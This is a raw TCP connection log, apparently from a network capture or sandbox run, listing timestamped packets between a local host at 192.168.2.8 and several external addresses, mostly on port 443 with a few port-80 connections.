Nov 25, 2024 03:40:11.963845968 CET	443	49807	23.209.72.10	192.168.2.8
Nov 25, 2024 03:40:11.963929892 CET	443	49807	23.209.72.10	192.168.2.8
Nov 25, 2024 03:40:11.964373112 CET	49807	443	192.168.2.8	23.209.72.10
Nov 25, 2024 03:40:12.247478962 CET	443	49808	23.209.72.10	192.168.2.8
Nov 25, 2024 03:40:12.247594118 CET	443	49808	23.209.72.10	192.168.2.8
Nov 25, 2024 03:40:12.247654915 CET	49808	443	192.168.2.8	23.209.72.10
Nov 25, 2024 03:40:12.266952038 CET	443	49847	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:12.267026901 CET	443	49847	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:12.267092943 CET	49847	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:12.267112970 CET	443	49847	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:12.267190933 CET	443	49847	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:12.267672062 CET	49847	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:12.270601988 CET	49847	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:12.270618916 CET	443	49847	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:12.275687933 CET	49807	443	192.168.2.8	23.209.72.10
Nov 25, 2024 03:40:12.275705099 CET	443	49807	23.209.72.10	192.168.2.8
Nov 25, 2024 03:40:12.275826931 CET	49806	443	192.168.2.8	23.209.72.10
Nov 25, 2024 03:40:12.275846958 CET	443	49806	23.209.72.10	192.168.2.8
Nov 25, 2024 03:40:12.275867939 CET	49808	443	192.168.2.8	23.209.72.10
Nov 25, 2024 03:40:12.275892973 CET	443	49808	23.209.72.10	192.168.2.8
Nov 25, 2024 03:40:12.276258945 CET	49848	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:12.276299953 CET	443	49848	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:12.276366949 CET	49848	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:12.276557922 CET	49848	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:12.276580095 CET	443	49848	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:13.583534956 CET	443	49848	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:13.604711056 CET	49848	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:13.604734898 CET	443	49848	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:13.605977058 CET	443	49848	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:13.615494013 CET	49848	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:13.615494967 CET	49848	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:13.615514040 CET	443	49848	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:13.615683079 CET	443	49848	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:13.677262068 CET	49848	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:14.071896076 CET	443	49848	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:14.071960926 CET	443	49848	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:14.072143078 CET	443	49848	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:14.072257996 CET	49848	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:14.077203989 CET	49848	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:14.077224016 CET	443	49848	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:14.270525932 CET	80	49845	185.215.113.206	192.168.2.8
Nov 25, 2024 03:40:14.271127939 CET	49845	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:40:16.131079912 CET	443	49829	23.219.82.24	192.168.2.8
Nov 25, 2024 03:40:16.131160021 CET	443	49829	23.219.82.24	192.168.2.8
Nov 25, 2024 03:40:16.136924982 CET	49829	443	192.168.2.8	23.219.82.24
Nov 25, 2024 03:40:16.165148973 CET	443	49828	23.219.82.24	192.168.2.8
Nov 25, 2024 03:40:16.165272951 CET	443	49828	23.219.82.24	192.168.2.8
Nov 25, 2024 03:40:16.165626049 CET	49828	443	192.168.2.8	23.219.82.24
Nov 25, 2024 03:40:16.578612089 CET	443	49833	23.57.90.134	192.168.2.8
Nov 25, 2024 03:40:16.578809023 CET	443	49833	23.57.90.134	192.168.2.8
Nov 25, 2024 03:40:16.578877926 CET	49833	443	192.168.2.8	23.57.90.134
Nov 25, 2024 03:40:16.659054041 CET	49849	443	192.168.2.8	172.202.163.200
Nov 25, 2024 03:40:16.659101963 CET	443	49849	172.202.163.200	192.168.2.8
Nov 25, 2024 03:40:16.659154892 CET	49849	443	192.168.2.8	172.202.163.200
Nov 25, 2024 03:40:16.660206079 CET	49845	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:40:16.661057949 CET	49849	443	192.168.2.8	172.202.163.200
Nov 25, 2024 03:40:16.661072969 CET	443	49849	172.202.163.200	192.168.2.8
Nov 25, 2024 03:40:16.663187981 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:18.405267000 CET	443	49849	172.202.163.200	192.168.2.8
Nov 25, 2024 03:40:18.407700062 CET	49849	443	192.168.2.8	172.202.163.200
Nov 25, 2024 03:40:18.428066969 CET	49849	443	192.168.2.8	172.202.163.200
Nov 25, 2024 03:40:18.428093910 CET	443	49849	172.202.163.200	192.168.2.8
Nov 25, 2024 03:40:18.429250002 CET	443	49849	172.202.163.200	192.168.2.8
Nov 25, 2024 03:40:18.444029093 CET	49849	443	192.168.2.8	172.202.163.200
Nov 25, 2024 03:40:18.487329960 CET	443	49849	172.202.163.200	192.168.2.8
Nov 25, 2024 03:40:19.095134974 CET	443	49849	172.202.163.200	192.168.2.8
Nov 25, 2024 03:40:19.095154047 CET	443	49849	172.202.163.200	192.168.2.8
Nov 25, 2024 03:40:19.095213890 CET	443	49849	172.202.163.200	192.168.2.8
Nov 25, 2024 03:40:19.095237017 CET	49849	443	192.168.2.8	172.202.163.200
Nov 25, 2024 03:40:19.095256090 CET	443	49849	172.202.163.200	192.168.2.8
Nov 25, 2024 03:40:19.095267057 CET	49849	443	192.168.2.8	172.202.163.200
Nov 25, 2024 03:40:19.095335960 CET	49849	443	192.168.2.8	172.202.163.200
Nov 25, 2024 03:40:19.132711887 CET	443	49849	172.202.163.200	192.168.2.8
Nov 25, 2024 03:40:19.132752895 CET	443	49849	172.202.163.200	192.168.2.8
Nov 25, 2024 03:40:19.132781029 CET	49849	443	192.168.2.8	172.202.163.200
Nov 25, 2024 03:40:19.132788897 CET	443	49849	172.202.163.200	192.168.2.8
Nov 25, 2024 03:40:19.132812977 CET	49849	443	192.168.2.8	172.202.163.200
Nov 25, 2024 03:40:19.132940054 CET	443	49849	172.202.163.200	192.168.2.8
Nov 25, 2024 03:40:19.132980108 CET	49849	443	192.168.2.8	172.202.163.200
Nov 25, 2024 03:40:19.132980108 CET	49849	443	192.168.2.8	172.202.163.200
Nov 25, 2024 03:40:19.133002996 CET	443	49849	172.202.163.200	192.168.2.8
Nov 25, 2024 03:40:19.133021116 CET	49849	443	192.168.2.8	172.202.163.200
Nov 25, 2024 03:40:19.133028984 CET	443	49849	172.202.163.200	192.168.2.8
Nov 25, 2024 03:40:29.899616957 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:29.899672031 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:29.899753094 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:29.900129080 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:29.900146961 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:31.744468927 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:31.744545937 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:31.746521950 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:31.746529102 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:31.746805906 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:31.756992102 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:31.803338051 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.245805979 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.245829105 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.245847940 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.245938063 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.245969057 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.246017933 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.438847065 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.438878059 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.438993931 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.439038992 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.439100981 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.490092039 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.490113974 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.490386963 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.490415096 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.490463018 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.634056091 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.634083033 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.634356976 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.634385109 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.634435892 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.664283037 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.664307117 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.664361000 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.664378881 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.664398909 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.664424896 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.684478998 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.684498072 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.684643030 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.684659958 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.684709072 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.701894999 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.701911926 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.701992989 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.702017069 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.702063084 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.836886883 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.836909056 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.837001085 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.837033987 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.837083101 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.852883101 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.852900982 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.852963924 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.852976084 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.853126049 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.868829966 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.868848085 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.868926048 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.868943930 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.868988037 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.882761955 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.882781982 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.882826090 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.882848024 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.882860899 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.882889032 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.898817062 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.898837090 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.898883104 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.898902893 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.898916006 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.898947001 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.900978088 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.901050091 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.901185036 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.901758909 CET	49850	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.901778936 CET	443	49850	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.953577042 CET	49851	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.953624010 CET	443	49851	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.953704119 CET	49851	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.953777075 CET	49852	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.953814030 CET	443	49852	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.953862906 CET	49852	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.953999043 CET	49853	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.954013109 CET	443	49853	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.954055071 CET	49853	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.955069065 CET	49854	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.955077887 CET	443	49854	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.955133915 CET	49854	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.955250025 CET	49851	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.955261946 CET	443	49851	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.955296040 CET	49855	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.955302954 CET	443	49855	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.955333948 CET	49854	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.955346107 CET	443	49854	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.955370903 CET	49855	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.955411911 CET	49853	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.955420017 CET	443	49853	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.955485106 CET	49852	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.955496073 CET	443	49852	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:32.955575943 CET	49855	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:32.955588102 CET	443	49855	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:34.673460007 CET	443	49853	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:34.673506975 CET	443	49854	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:34.674026012 CET	49853	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:34.674117088 CET	443	49853	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:34.674717903 CET	49853	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:34.674734116 CET	443	49853	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:34.675096035 CET	49854	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:34.675111055 CET	443	49854	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:34.675518990 CET	49854	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:34.675523996 CET	443	49854	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:34.737730980 CET	443	49855	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:34.737737894 CET	443	49851	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:34.738253117 CET	49855	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:34.738286972 CET	443	49855	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:34.738727093 CET	49855	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:34.738737106 CET	443	49855	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:34.738950968 CET	49851	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:34.738980055 CET	443	49851	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:34.739308119 CET	49851	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:34.739319086 CET	443	49851	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:34.852276087 CET	443	49852	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:34.852885962 CET	49852	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:34.852919102 CET	443	49852	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:34.853360891 CET	49852	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:34.853368044 CET	443	49852	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:35.107358932 CET	443	49853	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:35.107429981 CET	443	49853	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:35.107599020 CET	49853	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:35.107755899 CET	49853	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:35.107755899 CET	49853	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:35.107800961 CET	443	49853	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:35.107825041 CET	443	49853	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:35.112483025 CET	443	49854	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:35.112508059 CET	443	49854	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:35.112561941 CET	443	49854	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:35.112591982 CET	49854	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:35.112627983 CET	49854	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:35.112747908 CET	49856	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:35.112801075 CET	443	49856	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:35.112869978 CET	49856	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:35.113063097 CET	49854	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:35.113075972 CET	443	49854	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:35.113370895 CET	49856	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:35.113401890 CET	443	49856	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:35.115245104 CET	49857	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:35.115278006 CET	443	49857	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:35.115473986 CET	49857	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:35.115680933 CET	49857	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:35.115695953 CET	443	49857	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:35.184257030 CET	443	49855	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:35.184329987 CET	443	49855	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:35.184489965 CET	49855	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:35.184554100 CET	49855	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:35.184576035 CET	443	49855	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:35.184601068 CET	49855	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:35.184616089 CET	443	49855	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:35.185621023 CET	443	49851	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:35.185641050 CET	443	49851	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:35.185714960 CET	49851	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:35.185740948 CET	443	49851	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:35.185779095 CET	49851	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:35.185909033 CET	49851	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:35.185914040 CET	443	49851	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:35.185926914 CET	49851	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:35.186101913 CET	443	49851	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:35.186136961 CET	443	49851	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:35.186177015 CET	49851	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:35.187292099 CET	49858	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:35.187349081 CET	443	49858	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:35.187431097 CET	49858	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:35.187536955 CET	49858	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:35.187565088 CET	443	49858	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:35.188107967 CET	49859	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:35.188138008 CET	443	49859	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:35.188211918 CET	49859	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:35.188299894 CET	49859	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:35.188313961 CET	443	49859	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:35.354803085 CET	443	49852	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:35.354840040 CET	443	49852	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:35.354882956 CET	49852	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:35.354912996 CET	443	49852	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:35.354954004 CET	49852	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:35.355240107 CET	49852	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:35.355247974 CET	443	49852	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:35.355262995 CET	49852	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:35.355416059 CET	443	49852	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:35.355453968 CET	443	49852	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:35.355494976 CET	49852	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:35.358659029 CET	49860	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:35.358710051 CET	443	49860	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:35.358772993 CET	49860	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:35.358916044 CET	49860	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:35.358928919 CET	443	49860	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:36.900787115 CET	443	49856	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:36.900927067 CET	443	49857	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:36.901484013 CET	49856	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:36.901493073 CET	49857	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:36.901515007 CET	443	49857	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:36.901580095 CET	443	49856	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:36.901993990 CET	49857	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:36.902004004 CET	443	49857	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:36.902033091 CET	49856	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:36.902046919 CET	443	49856	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:36.902342081 CET	443	49859	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:36.902628899 CET	49859	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:36.902653933 CET	443	49859	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:36.902985096 CET	49859	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:36.902997017 CET	443	49859	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.031364918 CET	443	49858	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.032311916 CET	49858	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:37.032392025 CET	443	49858	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.032812119 CET	49858	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:37.032824993 CET	443	49858	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.206609011 CET	443	49860	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.207190037 CET	49860	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:37.207222939 CET	443	49860	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.207765102 CET	49860	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:37.207771063 CET	443	49860	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.336926937 CET	443	49859	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.337014914 CET	443	49859	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.337099075 CET	49859	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:37.337369919 CET	49859	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:37.337393045 CET	443	49859	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.337409973 CET	49859	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:37.337415934 CET	443	49859	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.340934992 CET	49861	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:37.341027021 CET	443	49861	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.341125011 CET	49861	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:37.341311932 CET	49861	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:37.341329098 CET	443	49861	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.344084024 CET	443	49856	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.344153881 CET	443	49856	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.344208002 CET	49856	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:37.344300032 CET	49856	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:37.344300985 CET	49856	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:37.344337940 CET	443	49856	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.344363928 CET	443	49856	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.346482038 CET	49862	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:37.346520901 CET	443	49862	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.346587896 CET	49862	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:37.346709967 CET	49862	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:37.346715927 CET	443	49862	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.347045898 CET	443	49857	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.347119093 CET	443	49857	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.347172976 CET	49857	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:37.347269058 CET	49857	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:37.347281933 CET	443	49857	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.347291946 CET	49857	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:37.347296953 CET	443	49857	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.349764109 CET	49863	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:37.349786043 CET	443	49863	13.107.246.63	192.168.2.8
